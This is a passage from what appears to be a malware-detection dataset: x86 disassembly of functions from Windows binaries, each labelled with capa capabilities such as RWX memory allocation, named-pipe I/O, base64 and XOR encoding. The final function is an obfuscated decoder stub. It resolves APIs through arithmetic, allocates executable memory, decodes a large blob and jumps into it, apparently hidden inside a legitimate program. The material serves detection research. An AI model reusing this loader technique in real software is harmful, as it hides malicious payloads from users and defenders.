joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000af70
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, dword [0x1003c248]
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov dword [ebp - 4], edi
mov ebx, ecx
test edx, edx
je 0x1000b061
mov eax, dword [0x1003c240]
add eax, 0x14
movzx ecx, byte [eax]
shr ecx, 1
and ecx, 1
cmp ecx, ebx
jne 0x1000afb5
inc esi
add eax, 0x2c
cmp esi, edx
jb 0x1000af98
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
je 0x1000b061
xor eax, eax
lea ecx, [ebp - 0x10]
test ebx, ebx
setne al
or edx, 0xffffffff
push eax
call fcn.1000acd0
mov ecx, dword [0x1003c248]
add esp, 4
cmp esi, ecx
jae 0x1000b015
imul edi, esi, 0x2c
mov eax, dword [0x1003c240]
movzx eax, byte [edi + eax + 0x14]
shr eax, 1
and eax, 1
cmp eax, ebx
je 0x1000b00a
mov edx, ebx
mov ecx, esi
call fcn.1000ae70
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000b012
mov ecx, dword [0x1003c248]
inc esi
add edi, 0x2c
cmp esi, ecx
jb 0x1000afe1
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x1000b061
xor esi, esi
cmp dword [ebp - 8], esi
jbe 0x1000b052
mov edi, eax
push dword [edi + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x1000b046
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebp - 8]
jb 0x1000b025
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
push eax
push 0
push dword [0x1003c218]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000b360
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1003a04c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.1000b070
cmp dword [0x1003c218], edi
je 0x1000b4fb
mov edx, dword [0x1003c248]
xor esi, esi
test edx, edx
je 0x1000b3ac
mov ecx, dword [0x1003c240]
mov eax, ecx
nop dword [eax]
cmp ebx, dword [eax]
je 0x1000b3b6
inc esi
add eax, 0x2c
cmp esi, edx
jb 0x1000b3a0
mov edi, 4
jmp 0x1000b500
cmp esi, 0xffffffff
je 0x1000b3ac
imul ebx, esi, 0x2c
mov dword [ebp - 0x10], ebx
test byte [ebx + ecx + 0x14], 2
je 0x1000b477
push 0
mov edx, esi
lea ecx, [ebp - 0x1c]
call fcn.1000acd0
mov edi, dword [0x1003c240]
add esp, 4
add edi, ebx
mov eax, dword [edi]
mov cl, byte [edi + 0x14]
and cl, 1
lea ebx, [eax - 5]
cmove ebx, eax
movzx eax, cl
lea ecx, [ebp - 8]
push ecx
push 0x40
lea eax, [eax*2 + 5]
push eax
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1000b415
lea edi, [eax + 0xa]
jmp 0x1000b45e
mov eax, dword [edi + 0xc]
test byte [edi + 0x14], 1
mov dword [ebx], eax
je 0x1000b430
mov ax, word [edi + 0x10]
mov word [ebx + 4], ax
mov al, byte [edi + 0x12]
mov byte [ebx + 6], al
jmp 0x1000b436
mov al, byte [edi + 0x10]
mov byte [ebx + 4], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
and byte [edi + 0x14], 0xf9
xor edi, edi
lea ecx, [ebp - 0x1c]
call fcn.1000ae20
test edi, edi
jne 0x1000b500
mov ecx, dword [0x1003c240]
mov ebx, dword [ebp - 0x10]
mov ecx, dword [ebx + ecx + 8]
call fcn.1000b9d0
mov eax, dword [0x1003c248]
lea edx, [eax - 1]
cmp esi, edx
jae 0x1000b4bc
mov ecx, dword [0x1003c240]
imul eax, eax, 0x2c
movups xmm0, xmmword [eax + ecx - 0x2c]
movups xmmword [ebx + ecx], xmm0
movups xmm0, xmmword [eax + ecx - 0x1c]
movups xmmword [ebx + ecx + 0x10], xmm0
movq xmm0, qword [eax + ecx - 0xc]
movq qword [ebx + ecx + 0x20], xmm0
mov eax, dword [eax + ecx - 4]
mov dword [ebx + ecx + 0x28], eax
mov eax, dword [0x1003c244]
shr eax, 1
mov dword [0x1003c248], edx
cmp eax, 0x20
jb 0x1000b500
cmp eax, edx
jb 0x1000b500
imul eax, eax, 0x2c
push eax
push dword [0x1003c240]
push 0
push dword [0x1003c218]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x1000b500
shr dword [0x1003c244], 1
mov dword [0x1003c240], eax
jmp 0x1000b500
mov edi, 2
xor ecx, ecx
mov eax, 0x1003c214
xchg dword [eax], ecx
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000cfd1
mov esp, ebp
pop ebp
ret
Function at 0x100195d4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001944a

Function at 0x10028dd0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10028dfd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10028dfd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x2a854792
Capabilities:
Check if file exists

Disassembly:
push 0x64
mov eax, 0x2a9817de
call fcn.2a84a756
mov ebx, ecx
cmp dword [ebx + 4], 0xffffffff
jne 0x2a8548d3
push 0xffffffffffffffff
lea edi, [ebx + 0xc]
push 0x2a98a1b4
mov ecx, edi
call fcn.2a886a0b
mov eax, dword [ebx]
push 0
push 0xffffffffffffffff
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x2a9874b0]
mov ecx, ebx
call esi
push eax
lea ecx, [ebp - 0x54]
call fcn.2a84a704
and dword [ebp - 4], 0
lea eax, [ebp - 0x54]
push eax
mov ecx, edi
call fcn.2a8c803d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.2a84cb0c
lea ecx, [ebp - 0x4c]
call fcn.2a84cb2e
push edi
lea ecx, [ebp - 0x3c]
call fcn.2a850168
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 1
call fcn.2a8c886a
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 2
push eax
call fcn.2a8c9159
mov esi, eax
mov dword [ebp - 0x18], vtable.RSSecurityUtilsWin::CLocalFreeGuard.0
pop ecx
mov dword [ebp - 0x14], esi
mov ecx, dword [ebx + 8]
xor edi, edi
mov byte [ebp - 4], 3
cmp dword [ecx], edi
jne 0x2a854898
lea ecx, [ebp - 0x3c]
call fcn.2a8c886a
push edi
push 0x40110000
push 3
lea ecx, [ebp - 0x24]
push ecx
push edi
push 0xc0000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebx + 4], eax
cmp eax, 0xffffffff
jne 0x2a854898
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x2a8548ef
cmp eax, 0xe7
jne 0x2a8548d9
lea ecx, [ebp - 0x3c]
call fcn.2a8c886a
push 0x4e20
push eax
call dword [sym.imp.kernel32.dll_WaitNamedPipeA]
test eax, eax
je 0x2a8548fe
mov eax, dword [ebx + 8]
cmp dword [eax], edi
je 0x2a85483e
cmp dword [ebx + 4], 0xffffffff
je 0x2a8548b4
push edi
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 2
push eax
push dword [ebx + 4]
call dword [sym.imp.kernel32.dll_SetNamedPipeHandleState]
mov byte [ebp - 4], 6
test esi, esi
je 0x2a8548c3
push esi
call dword [sym.imp.kernel32.dll_LocalFree]
lea ecx, [ebp - 0x2c]
call fcn.2a84cb0c
lea ecx, [ebp - 0x34]
call fcn.2a84cb2e
call fcn.2a84a9ee
ret
push edi
push 0xffffffffffffffff
push str.Problem_Opening_channel
lea ecx, [ebp - 0x54]
call fcn.2a84a704
mov byte [ebp - 4], 4
jmp 0x2a854912
lea ecx, [ebp - 0x70]
call fcn.2a8544ff
push 0x2a9ef2e0
jmp 0x2a854923
push edi
push 0xffffffffffffffff
push str.Problem_Opening_channel__all_pipe_instances_are_busy
lea ecx, [ebp - 0x54]
call fcn.2a84a704
mov byte [ebp - 4], 5
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x70]
call fcn.2a886a0b
push 0x2a9ef338
lea eax, [ebp - 0x70]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a854c0d
Capabilities:
Read file on windows

Disassembly:
push 0x74
mov eax, 0x2a98184c
call fcn.2a84a756
mov edi, ecx
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
je 0x2a854d8d
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x2a854d77
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x2a854cf9
cmp eax, 0x6d
je 0x2a854d27
push ebx
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x48]
call fcn.2a84a704
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x80]
call fcn.2a886a0b
push 0x2a9ef338
lea eax, [ebp - 0x80]
jmp 0x2a854db5
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
cmp eax, 1
je 0x2a854d0b
push ebx
push ebx
push ebx
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x2a854cf9
cmp eax, 0xffffffff
je 0x2a854d36
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
test eax, eax
jne 0x2a854cbc
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a854d3f
sub eax, 1
jne 0x2a854c5a
lea ecx, [ebp - 0x64]
call fcn.2a85441f
push 0x2a9ef354
jmp 0x2a854db2
mov dword [ebp - 4], 2
jmp 0x2a854d7e
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
jne 0x2a854d77
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x6d
je 0x2a854d27
push ebx
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x48]
call fcn.2a84a704
mov byte [ebp - 4], 3
jmp 0x2a854da1
mov dword [ebp - 4], 5
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a84a9ee
ret 8
push ebx
push 0xffffffffffffffff
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a84a704
mov byte [ebp - 4], 1
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x64]
call fcn.2a886a0b
push 0x2a9ef338
lea eax, [ebp - 0x64]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a854dbc
Capabilities:
Read file on windows

Disassembly:
push 0x58
mov eax, 0x2a98188a
call fcn.2a84a756
mov edi, ecx
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
je 0x2a854ec8
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x2a854eb2
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x2a854e97
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a854e5f
sub eax, 1
jne 0x2a854e09
lea ecx, [ebp - 0x64]
call fcn.2a85441f
push 0x2a9ef354
jmp 0x2a854eed
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
jne 0x2a854eb2
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x6d
je 0x2a854e4d
push ebx
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x48]
call fcn.2a84a704
mov byte [ebp - 4], 2
jmp 0x2a854edc
cmp eax, 0x6d
je 0x2a854e4d
push ebx
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x48]
call fcn.2a84a704
mov byte [ebp - 4], 3
jmp 0x2a854edc
push esi
mov dword [ebp - 4], 4
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a84a9ee
ret 8
push ebx
push 0xffffffffffffffff
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a84a704
mov byte [ebp - 4], 1
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x64]
call fcn.2a886a0b
push 0x2a9ef338
lea eax, [ebp - 0x64]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a854ef7
Capabilities:
Write file on windows

Disassembly:
push 0x74
mov eax, 0x2a9818bd
call fcn.2a84a756
mov edi, ecx
cmp dword [edi + 4], 0xffffffff
je 0x2a855031
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
jne 0x2a854f73
push ebx
push esi
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a84a704
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x64]
call fcn.2a886a0b
push 0x2a9ef338
jmp 0x2a85503e
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x2a854fc8
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x2a854fde
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a854fb5
sub eax, 1
jne 0x2a854f73
jmp 0x2a855031
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
push esi
mov dword [ebp - 4], 3
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a84a9ee
ret 8
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xe8
je 0x2a855022
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xe9
je 0x2a855022
push ebx
push 0xffffffffffffffff
push str.Connection_Closed
lea ecx, [ebp - 0x48]
call fcn.2a84a704
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x80]
call fcn.2a886a0b
push 0x2a9ef338
lea eax, [ebp - 0x80]
jmp 0x2a855041
lea ecx, [ebp - 0x80]
call fcn.2a85441f
push 0x2a9ef354
jmp 0x2a85501d
lea ecx, [ebp - 0x64]
call fcn.2a85441f
push 0x2a9ef354
lea eax, [ebp - 0x64]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a86a5e0
Capabilities:
Encode data using base64

Disassembly:
push 0x14
mov eax, 0x2a982c35
call fcn.2a84a756
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp + 8]
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], 0xf
mov byte [eax], bl
mov eax, dword fs:[0x2c]
xor edi, edi
mov ecx, dword [0x2aa0032c]
inc edi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], edi
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x2a9fee84]
cmp eax, dword [ecx + 4]
jg 0x2a86a794
mov eax, dword [ebp + 0x10]
mov edi, ebx
test eax, eax
je 0x2a86a786
push 3
pop esi
mov ecx, dword [ebp + 0xc]
dec eax
mov dword [ebp + 0x10], eax
mov al, byte [ecx]
mov byte [ebp + edi - 0x14], al
inc edi
mov dl, byte [ebp - 0x13]
inc ecx
mov dword [ebp + 0xc], ecx
mov ch, byte [ebp - 0x12]
mov cl, byte [ebp - 0x14]
mov byte [ebp - 0xf], ch
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xe], cl
cmp edi, esi
jne 0x2a86a6cf
mov esi, dword [ebp + 8]
mov al, cl
shr al, 2
and cl, 3
mov byte [ebp - 0x18], al
mov edi, ebx
shl cl, 4
mov al, dl
shr al, 4
add cl, al
mov al, ch
mov byte [ebp - 0x17], cl
mov cl, dl
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
mov al, ch
and al, 0x3f
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], al
cmp dword [0x2a9fee80], 0x10
mov ecx, 0x2a9fee6c
movzx eax, byte [ebp + edi - 0x18]
cmovae ecx, dword [0x2a9fee6c]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
call fcn.2a886a0b
inc edi
cmp edi, 4
jl 0x2a86a697
mov dl, byte [ebp - 0xd]
mov edi, ebx
mov cl, byte [ebp - 0xe]
mov ch, byte [ebp - 0xf]
push 3
pop esi
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x2a86a639
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x2a86a786
mov eax, edi
cmp edi, esi
jge 0x2a86a705
cmp eax, esi
jae 0x2a86a78f
mov byte [ebp + eax - 0x14], bl
inc eax
cmp eax, esi
jl 0x2a86a6ed
mov ch, byte [ebp - 0x12]
mov dl, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, dl
shr al, 4
and dl, 0xf
shl cl, 4
add cl, al
shl dl, 2
mov al, ch
mov byte [ebp - 0x17], cl
shr al, 6
and ch, 0x3f
add dl, al
mov byte [ebp - 0x15], ch
lea eax, [edi + 1]
mov byte [ebp - 0x16], dl
mov dword [ebp - 0x14], eax
test eax, eax
jle 0x2a86a771
mov esi, dword [ebp + 8]
mov edi, eax
cmp dword [0x2a9fee80], 0x10
mov ecx, 0x2a9fee6c
movzx eax, byte [ebp + ebx - 0x18]
cmovae ecx, dword [0x2a9fee6c]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
call fcn.2a886a0b
inc ebx
cmp ebx, edi
jl 0x2a86a742
mov edi, dword [ebp - 0x1c]
push 3
pop esi
cmp edi, esi
jge 0x2a86a786
sub esi, edi
mov ecx, dword [ebp + 8]
push 0x3d
call fcn.2a886a0b
sub esi, 1
jne 0x2a86a777
mov eax, dword [ebp + 8]
call fcn.2a84a9ee
ret
call fcn.2a886a0b
mov esi, 0x2a9fee84
push esi
call fcn.2a886a0b
cmp dword [0x2a9fee84], 0xffffffff
pop ecx
jne 0x2a86a629
lea eax, [ebp - 0xf]
mov dword [ebp - 4], edi
push eax
push 0x2a98a0b0
mov ecx, 0x2a9fee6c
call fcn.2a84e515
push 0x2a986860
call fcn.2a886a0b
push esi
mov byte [ebp - 4], bl
call fcn.2a886a0b
pop ecx
pop ecx
jmp 0x2a86a629
Function at 0x2a872c57
Capabilities:
Encode data using base64

Disassembly:
push 0x18
mov eax, 0x2a983df4
call fcn.2a84a756
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], esi
cmp dword [edi + 0x14], 0x10
mov dword [ebp - 0x14], edi
jb 0x2a872c7f
mov eax, dword [edi]
mov dword [ebp - 0x14], eax
mov eax, dword [edi + 0x10]
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], 0xf
mov dword [ebp - 0x10], eax
mov byte [esi], cl
push ecx
shl eax, 2
push 3
mov dword [ebp - 4], ecx
pop ecx
cdq
idiv ecx
mov dword [ebp - 0x18], 1
add eax, ecx
mov ecx, esi
push eax
call fcn.2a886a0b
mov ebx, dword [esi + 0x14]
mov ecx, esi
cmp ebx, 0x10
jb 0x2a872cbb
mov ecx, dword [esi]
xor edx, edx
cmp dword [ebp - 0x10], edx
jle 0x2a872d71
mov esi, dword [ebp - 0x14]
movzx eax, byte [esi + edx]
shr eax, 2
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x20], ecx
mov al, byte [eax + 0x2a98b938]
mov byte [ecx], al
inc ecx
mov bl, byte [esi + edx]
and bl, 3
shl bl, 4
inc edx
cmp edx, dword [ebp - 0x10]
jge 0x2a872cf9
mov al, byte [esi + edx]
shr al, 4
or bl, al
movzx eax, bl
mov ebx, dword [ebp - 0x10]
mov al, byte [eax + 0x2a98b938]
mov byte [ecx], al
cmp edx, ebx
jge 0x2a872d36
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x2a872d15
mov eax, dword [edi]
mov cl, byte [eax + edx]
and cl, 0xf
shl cl, 2
inc edx
cmp edx, ebx
jge 0x2a872d2b
mov al, byte [esi + edx]
shr al, 6
or cl, al
movzx eax, cl
mov al, byte [eax + 0x2a98b938]
jmp 0x2a872d38
mov al, 0x3d
mov ecx, dword [ebp - 0x14]
mov byte [ecx + 2], al
mov ecx, dword [ebp - 0x1c]
add ecx, 4
cmp edx, ebx
jge 0x2a872d57
movzx eax, byte [esi + edx]
and eax, 0x3f
mov al, byte [eax + 0x2a98b938]
jmp 0x2a872d59
mov al, 0x3d
mov ebx, dword [ebp - 0x20]
inc edx
mov byte [ebx + 3], al
mov ebx, dword [ebp - 0x10]
cmp edx, ebx
jl 0x2a872cc9
mov esi, dword [ebp - 0x24]
mov ebx, dword [esi + 0x14]
mov eax, esi
cmp ebx, 0x10
jb 0x2a872d7a
mov eax, dword [esi]
sub ecx, eax
push 0
push ecx
mov ecx, esi
call fcn.2a886a0b
mov eax, esi
call fcn.2a84a9ee
ret

Function at 0x2a875045
Capabilities:
Get hostname

Disassembly:
push 0x44c
mov eax, 0x2a984252
call fcn.2a8c96b3
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x410]
mov edi, 0x400
push edi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x410]
push edi
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x2a87509d
lea eax, [ebp - 0x44d]
mov ecx, esi
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.2a84e515
mov eax, esi
call fcn.2a8c9691
ret
push 0x93
lea ecx, [ebp - 0x458]
call fcn.2a886a0b
and dword [ebp - 4], 0
lea ecx, [ebp - 0x44c]
push ecx
mov ecx, eax
call fcn.2a86a7dd
push eax
lea ecx, [ebp - 0x434]
mov byte [ebp - 4], 1
call fcn.2a869d94
push 0x2a9f21f8
lea eax, [ebp - 0x434]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a886a0b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x2a886a1a
pop dword [ebp - 8]
mov eax, 0x498d5956
sub eax, 0x1f04ef3c
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xcbdba811
add dword [ebp - 0x18], 0x82769d3a
mov dword [ebp - 0x14], 0x435a1d58
add dword [ebp - 0x14], 0xeed92eed
mov dword [ebp - 0x10], 0xe6511af5
add dword [ebp - 0x10], 0x65fb2939
mov dword [ebp - 0xc], 0xe0345e06
sub dword [ebp - 0xc], 0xe0345e06
lea eax, [ebp - 0x18]
push eax
mov eax, 0x6b9f30ea
sub eax, 0x4106bf9a
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x1170f8ab
sub dword [ebp - 0x18], 0x9cfe8f55
mov dword [ebp - 0x14], 0x81366d4d
add dword [ebp - 0x14], 0xc035f428
mov dword [ebp - 0x10], 0x7ac09cc0
sub dword [ebp - 0x10], 0x17513054
mov dword [ebp - 0xc], 0xbcca10f
sub dword [ebp - 0xc], 0xbcca10f
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x20b5b770
add eax, 0x9e2b9d8
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x4a020
push 0
call eax
mov ecx, 0x4943
xor edx, edx
add edx, eax
mov ebx, 0xad69a1b0
sub ebx, 0x82c745b0
add ebx, dword [ebp - 8]
mov esi, 0x423fe79a
sub esi, 0xe8e91bbe
sub dword [ebp - 4], ebx
mov edi, dword [ebx]
mov dword [ebp - 4], 0xe8cc0c27
sub edi, esi
xor dword [ebp - 4], 0x9c055fd
mov dword [edx], edi
xor dword [ebp - 4], eax
add edx, 0x320e2220
add edx, 0xcdf1dde4
add ebx, 0x7454e680
sub ebx, 0x7454e67c
loop 0x2a886b38
add eax, 0x84acf892
sub eax, 0x84abe0b3
xor ebx, ebx
add ebx, eax
add eax, 0x16968c8d
sub eax, 0x16968c88
mov ecx, 0x7476349a
add ecx, 0xb609cb66
add ecx, dword [ebp - 8]
call ebx
leave
ret